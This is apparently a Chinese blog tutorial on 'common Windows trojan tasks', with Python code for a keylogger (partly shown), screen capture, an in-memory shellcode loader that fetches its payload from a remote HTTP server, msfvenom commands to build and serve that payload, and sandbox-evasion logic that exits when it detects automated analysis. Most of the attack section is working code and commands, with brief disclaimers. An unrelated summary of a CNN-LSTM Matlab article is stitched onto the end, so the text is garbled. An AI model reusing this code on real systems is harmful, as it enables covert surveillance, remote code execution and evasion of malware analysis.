13、Windows 常见木马任务操作指南

Windows 常见木马任务操作指南

在网络安全领域,掌握一些特定的技术手段对于理解和应对潜在威胁至关重要。本文将详细介绍几种常见的 Windows 操作技术,包括键盘记录、截图、shellcode 执行以及沙盒检测。

1. 键盘记录器

键盘记录器是一种用于记录用户键盘输入的工具。为了遵循之前创建的模块模式,我们编写的键盘记录器也有一个名为 run 的入口函数。以下是 run 函数的关键部分代码:

log = sys.stdout.getvalue()
sys.stdout = save_stdout
return log
if __name__ == '__main__':
    print(run())
    print('done.')

run 函数中,我们首先将 stdout 临时切换到一个类似文件的对象 StringIO ,这样所有写入 stdout 的内容都会被记录到该对象中,方便后续查询。之后,创建 KeyLogger 对象并定义 PyWinHook HookManager ,将 KeyDown 事件绑定到 KeyLogger 的回调方法 mykeystroke 上,然后让 PyWinHook 监听所有按键操作,直到超时。

mykeystroke 方法的主要功能如下:
1. 检查窗口切换 :如果用户切换了窗口,获取新窗口的名称和进程信息。
2. 处理按键输入 :如果按键在 ASCII 可打印范围内,直接打印;如果是修饰键(如 SHIFT、CTRL 或 ALT)或其他非标准键,从事件对象中获取键名。
3. 检查粘贴操作 :如果用户执行粘贴操作,转储剪贴板内容。
4. 返回值 :返回 True 以允许链中的下一个钩子处理事件。

测试键盘记录器非常简单,只需运行脚本,然后正常使用 Windows 系统,如使用浏览器、计算器等应用程序,最后在终端中查看记录结果。例如:

C:\Users\tim>python keylogger.py
 6852 WindowsTerminal.exe Windows PowerShell
Return
test
Return
 18149 firefox.exe Mozilla Firefox
nostarch.com
Return
 5116 cmd.exe Command Prompt
calc
Return
 3004 ApplicationFrameHost.exe Calculator
1 Lshift
+1
Return
2. 截图功能

许多恶意软件和渗透测试框架都具备在远程目标上截图的能力,这有助于捕获图像、视频帧或其他敏感数据。我们可以使用 pywin32 包调用 Windows API 来实现截图功能。安装 pywin32 包的命令如下:

pip install pywin32

以下是实现截图功能的代码:

import base64
import win32api
import win32con
import win32gui
import win32ui

def get_dimensions():
    width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
    height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
    left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)
    top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)
    return (width, height, left, top)

def screenshot(name='screenshot'):
    hdesktop = win32gui.GetDesktopWindow()
    width, height, left, top = get_dimensions()
    desktop_dc = win32gui.GetWindowDC(hdesktop)
    img_dc = win32ui.CreateDCFromHandle(desktop_dc)
    mem_dc = img_dc.CreateCompatibleDC()
    screenshot = win32ui.CreateBitmap()
    screenshot.CreateCompatibleBitmap(img_dc, width, height)
    mem_dc.SelectObject(screenshot)
    mem_dc.BitBlt((0,0), (width, height), img_dc, (left, top), win32con.SRCCOPY)
    screenshot.SaveBitmapFile(mem_dc, f'{name}.bmp')
    mem_dc.DeleteDC()
    win32gui.DeleteObject(screenshot.GetHandle())

def run():
    screenshot()
    with open('screenshot.bmp') as f:
        img = f.read()
    return img

if __name__ == '__main__':
    screenshot()

代码的主要步骤如下:
1. 获取桌面句柄 :使用 win32gui.GetDesktopWindow() 获取整个桌面的句柄。
2. 确定屏幕尺寸 :调用 get_dimensions 函数获取屏幕的宽度、高度、左边界和上边界。
3. 创建设备上下文 :使用 GetWindowDC 函数创建设备上下文,并创建一个基于内存的设备上下文用于存储图像。
4. 创建位图对象 :创建一个位图对象,并将其设置为桌面设备上下文。
5. 复制图像 :使用 BitBlt 函数将桌面图像逐位复制到内存设备上下文中。
6. 保存图像 :将图像保存为 BMP 文件。

测试该脚本只需从命令行运行,然后检查目录中是否生成了 screenshot.bmp 文件。你还可以将此脚本包含在 GitHub 命令和控制仓库中,因为 run 函数会调用 screenshot 函数创建图像并读取返回文件数据。

3. Python 执行 Shellcode

在某些情况下,你可能需要与目标机器进行交互或使用新的漏洞利用模块,这通常需要执行 shellcode。为了在不接触文件系统的情况下执行原始 shellcode,我们需要在内存中创建一个缓冲区来存储 shellcode,并使用 ctypes 模块创建一个指向该内存的函数指针,然后调用该函数。以下是实现代码:

from urllib import request
import base64
import ctypes
kernel32 = ctypes.windll.kernel32

def get_code(url):
    with request.urlopen(url) as response:
        shellcode =  base64.decodebytes(response.read())
    return shellcode

def write_memory(buf):
    length = len(buf)
    kernel32.VirtualAlloc.restype = ctypes.c_void_p
    kernel32.RtlMoveMemory.argtypes = (
        ctypes.c_void_p,
        ctypes.c_void_p,
        ctypes.c_size_t)
    ptr = kernel32.VirtualAlloc(None, length, 0x3000, 0x40)
    kernel32.RtlMoveMemory(ptr, buf, length)
    return ptr

def run(shellcode):
    buffer = ctypes.create_string_buffer(shellcode)
    ptr = write_memory(buffer)
    shell_func = ctypes.cast(ptr, ctypes.CFUNCTYPE(None))
    shell_func()

if __name__ == '__main__':
    url = "http://192.168.1.203:8100/shellcode.bin"
    shellcode = get_code(url)
    run(shellcode)

代码的主要步骤如下:
1. 获取 shellcode :使用 get_code 函数从 Web 服务器获取 base64 编码的 shellcode 并解码。
2. 写入内存 :在 write_memory 函数中,首先分配所需的内存(使用 VirtualAlloc ),然后将包含 shellcode 的缓冲区移动到分配的内存中(使用 RtlMoveMemory )。为了确保在 32 位或 64 位 Python 中都能正常运行,需要设置 VirtualAlloc.restype RtlMoveMemory.argtypes
3. 执行 shellcode :在 run 函数中,使用 ctypes.cast 函数将缓冲区转换为函数指针,然后调用该函数指针执行 shellcode。

测试时,你可以手动编写 shellcode 或使用渗透测试框架(如 Metasploit)生成。以下是使用 Metasploit 生成 shellcode 的示例步骤:
1. 生成原始 shellcode

msfvenom -p windows/exec -e x86/shikata_ga_nai -i 1 -f raw cmd=calc.exe > shellcode.raw
  1. Base64 编码
base64 -w 0 -i shellcode.raw > shellcode.bin
  1. 启动 HTTP 服务器
python -m http.server 8100

shell_exec.py 脚本放到 Windows 机器上执行,如果一切正常,你会在 Linux 终端看到类似 192.168.112.130 - - [12/Jan/2014 21:36:30] "GET /shellcode.bin HTTP/1.1" 200 - 的输出,这表明脚本已从 Web 服务器获取了 shellcode。

4. 沙盒检测

随着反病毒解决方案越来越多地使用沙盒技术来检测可疑样本的行为,我们需要采取措施避免被沙盒检测到。我们可以通过监测目标机器的用户输入情况来判断是否处于沙盒环境中。

以下是沙盒检测代码:

from ctypes import byref, c_uint, c_ulong, sizeof, Structure, windll
import random
import sys
import time
import win32api

class LASTINPUTINFO(Structure):
    fields_ = [
        ('cbSize', c_uint),
        ('dwTime', c_ulong)
    ]

def get_last_input():
    struct_lastinputinfo = LASTINPUTINFO()
    struct_lastinputinfo.cbSize = sizeof(LASTINPUTINFO)
    windll.user32.GetLastInputInfo(byref(struct_lastinputinfo))
    run_time = windll.kernel32.GetTickCount()
    elapsed = run_time - struct_lastinputinfo.dwTime
    print(f"[*] It's been {elapsed} milliseconds since the last event.")
    return elapsed

while True:
    get_last_input()
    time.sleep(1)

代码的主要步骤如下:
1. 定义结构 :定义 LASTINPUTINFO 结构来存储最后一次输入事件的时间戳。
2. 获取最后一次输入时间 :在 get_last_input 函数中,首先初始化 struct_lastinputinfo.cbSize 为结构的大小,然后调用 GetLastInputInfo 函数获取最后一次输入时间,再使用 GetTickCount 函数获取系统运行时间,计算两者的差值得到 elapsed 时间。
3. 测试代码 :最后一段代码是简单的测试代码,每秒调用一次 get_last_input 函数,你可以运行脚本,移动鼠标或按下键盘按键,观察输出结果。

为了更准确地判断是否处于沙盒环境,我们可以设置一些阈值,结合鼠标点击、按键和双击的情况进行判断。以下是改进后的代码:

class Detector:
    def __init__(self):
        self.double_clicks = 0
        self.keystrokes = 0
        self.mouse_clicks = 0

    def get_key_press(self):
        for i in range(0, 0xff):
            state = win32api.GetAsyncKeyState(i)
            if state & 0x0001:
                if i == 0x1:
                    self.mouse_clicks += 1
                    return time.time()
                elif i > 32 and i < 127:
                    self.keystrokes += 1
        return None

    def detect(self):
        previous_timestamp = None
        first_double_click = None
        double_click_threshold = 0.35
        max_double_clicks = 10
        max_keystrokes = random.randint(10,25)
        max_mouse_clicks = random.randint(5,25)
        max_input_threshold = 30000
        last_input = get_last_input()
        if last_input >= max_input_threshold:
            sys.exit(0)
        detection_complete = False
        while not detection_complete:
            keypress_time = self.get_key_press()
            if keypress_time is not None and previous_timestamp is not None:
                elapsed = keypress_time - previous_timestamp
                if elapsed <= double_click_threshold:
                    self.mouse_clicks -= 2
                    self.double_clicks += 1
                    if first_double_click is None:
                        first_double_click = time.time()
                    else:
                        if self.double_clicks >= max_double_clicks:
                            if (keypress_time - first_double_click <=
                                (max_double_clicks*double_click_threshold)):
                                sys.exit(0)
                if (self.keystrokes >= max_keystrokes and
                    self.double_clicks >= max_double_clicks and
                    self.mouse_clicks >= max_mouse_clicks):
                    detection_complete = True
                previous_timestamp = keypress_time
            elif keypress_time is not None:
                previous_timestamp = keypress_time

if __name__ == '__main__':
    d = Detector()
    d.detect()
    print('okay.')

Detector 类中, get_key_press 方法用于检测鼠标点击和按键输入, detect 方法是主要的沙盒检测循环。在 detect 方法中,我们首先定义了一些变量和阈值,然后获取最后一次输入的 elapsed 时间,如果超过最大输入阈值则退出。接着进入主循环,检测按键或鼠标点击事件,计算鼠标点击之间的时间差判断是否为双击,同时检查是否达到最大的点击、按键和双击次数,如果达到则认为不在沙盒环境中,退出检测循环。

通过以上几种技术,我们可以在 Windows 系统中实现键盘记录、截图、shellcode 执行和沙盒检测等功能,这些技术在渗透测试和安全研究中具有重要意义。但需要注意的是,这些技术只能用于合法的安全研究和测试,不得用于非法活动。

Windows 常见木马任务操作指南

5. 各项技术的流程总结与对比

为了更清晰地理解上述各项技术的操作流程,下面将以表格形式进行总结对比:
| 技术名称 | 主要步骤 | 关键代码函数 | 测试方法 |
| — | — | — | — |
| 键盘记录器 | 1. 临时切换 stdout StringIO ;2. 创建 KeyLogger 对象和 HookManager ;3. 绑定 KeyDown 事件到回调方法;4. 监听按键操作 | run mykeystroke | 运行脚本后正常使用 Windows 应用,在终端查看记录结果 |
| 截图功能 | 1. 获取桌面句柄;2. 确定屏幕尺寸;3. 创建设备上下文;4. 创建位图对象;5. 复制图像;6. 保存图像 | get_dimensions screenshot run | 从命令行运行脚本,检查目录中是否生成 screenshot.bmp 文件 |
| Python 执行 Shellcode | 1. 从 Web 服务器获取并解码 shellcode;2. 在内存中分配空间并写入 shellcode;3. 将缓冲区转换为函数指针并执行 | get_code write_memory run | 使用 Metasploit 生成 shellcode,启动 HTTP 服务器,在 Windows 机器上执行脚本,查看 Linux 终端输出 |
| 沙盒检测 | 1. 定义结构存储最后输入时间;2. 获取最后输入时间和系统运行时间,计算差值;3. 根据阈值和用户输入情况判断是否在沙盒中 | get_last_input Detector 类的 get_key_press detect | 运行脚本,移动鼠标或按键,观察输出结果 |

6. 技术应用场景与拓展思路

这些技术在不同的安全场景中有着广泛的应用:
- 渗透测试 :键盘记录器可以帮助测试人员了解目标用户的操作习惯和输入信息;截图功能能够直观地查看目标机器的屏幕内容,发现潜在的敏感信息;shellcode 执行可以利用漏洞获取目标系统的控制权;沙盒检测则有助于避免被反病毒软件的沙盒机制检测到,提高渗透测试的成功率。
- 安全研究 :通过对这些技术的研究,可以深入了解恶意软件的工作原理和攻击方式,从而开发出更有效的防御策略。

在实际应用中,我们还可以对这些技术进行拓展:
- 组合使用 :可以将键盘记录器和截图功能结合起来,在记录用户按键的同时,定期截取屏幕,更全面地了解目标机器的使用情况。
- 增加功能 :对于沙盒检测技术,可以添加虚拟机器检测功能,进一步提高检测的准确性;对于 shellcode 执行技术,可以支持更多类型的 shellcode 和生成方式。

7. 操作注意事项

在使用这些技术时,需要注意以下几点:
- 合法性 :这些技术只能用于合法的安全研究和测试,不得用于非法活动。在进行任何测试之前,必须获得目标系统所有者的明确授权。
- 环境兼容性 :不同的 Windows 系统版本和 Python 环境可能会对代码的运行产生影响,在使用之前需要进行充分的测试。
- 反病毒软件 :反病毒软件可能会检测到这些技术的使用,因此在进行测试时需要确保测试环境不会触发反病毒软件的警报。

8. 总结

本文详细介绍了 Windows 系统中常见的几种技术,包括键盘记录、截图、shellcode 执行和沙盒检测。通过对这些技术的学习和实践,我们可以更好地理解和应对网络安全威胁。同时,我们也应该认识到这些技术的潜在风险,始终遵守法律法规,将其用于合法的安全研究和测试。

以下是上述几种技术操作流程的 mermaid 流程图:

graph LR
    classDef startend fill:#F5EBFF,stroke:#BE8FED,stroke-width:2px;
    classDef process fill:#E5F6FF,stroke:#73A6FF,stroke-width:2px;
    classDef decision fill:#FFF6CC,stroke:#FFBC52,stroke-width:2px;

    A([开始]):::startend --> B{选择技术}:::decision
    B -->|键盘记录器| C(临时切换 stdout):::process
    C --> D(创建 KeyLogger 和 HookManager):::process
    D --> E(绑定 KeyDown 事件):::process
    E --> F(监听按键操作):::process
    F --> G(在终端查看记录结果):::process
    B -->|截图功能| H(获取桌面句柄):::process
    H --> I(确定屏幕尺寸):::process
    I --> J(创建设备上下文):::process
    J --> K(创建位图对象):::process
    K --> L(复制图像):::process
    L --> M(保存图像为 BMP 文件):::process
    B -->|Python 执行 Shellcode| N(从 Web 服务器获取 shellcode):::process
    N --> O(在内存中分配空间):::process
    O --> P(写入 shellcode):::process
    P --> Q(转换为函数指针并执行):::process
    Q --> R(查看 Linux 终端输出):::process
    B -->|沙盒检测| S(定义结构存储最后输入时间):::process
    S --> T(获取最后输入时间和系统运行时间):::process
    T --> U(计算时间差值):::process
    U --> V{根据阈值判断}:::decision
    V -->|是| W(退出):::process
    V -->|否| X(继续检测用户输入):::process
    X --> Y{达到阈值?}:::decision
    Y -->|是| Z(认为不在沙盒中):::process
    Y -->|否| X
    G --> AA([结束]):::startend
    M --> AA
    R --> AA
    Z --> AA

希望本文能够为你在 Windows 系统的安全研究和测试中提供有价值的参考,让你更好地掌握这些技术的使用方法和应用场景。同时,也鼓励你在合法合规的前提下,对这些技术进行进一步的探索和创新。

内容概要:本文介绍了基于贝叶斯优化的CNN-LSTM混合神经网络在时间序列预测中的应用,并提供了完整的Matlab代码实现。该模型结合了卷积神经网络(CNN)在特征提取方面的优势与长短期记忆网络(LSTM)在处理时序依赖问题上的强大能力,形成一种高效的混合预测架构。通过贝叶斯优化算法自动调参,提升了模型的预测精度与泛化能力,适用于风电、光伏、负荷、交通流等多种复杂非线性系统的预测任务。文中还展示了模型训练流程、参数优化机制及实际预测效果分析,突出其在科研与工程应用中的实用性。; 适合人群:具备一定机器学习基基于贝叶斯优化CNN-LSTM混合神经网络预测(Matlab代码实现)础和Matlab编程经验的高校研究生、科研人员及从事预测建模的工程技术人员,尤其适合关注深度学习与智能优化算法结合应用的研究者。; 使用场景及目标:①解决各类时间序列预测问题,如能源出力预测、电力负荷预测、环境数据预测等;②学习如何将CNN-LSTM模型与贝叶斯优化相结合,提升模型性能;③掌握Matlab环境下深度学习模型搭建与超参数自动优化的技术路线。; 阅读建议:建议读者结合提供的Matlab代码进行实践操作,重点关注贝叶斯优化模块与混合神经网络结构的设计逻辑,通过调整数据集和参数加深对模型工作机制的理解,同时可将其框架迁移至其他预测场景中验证效果。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值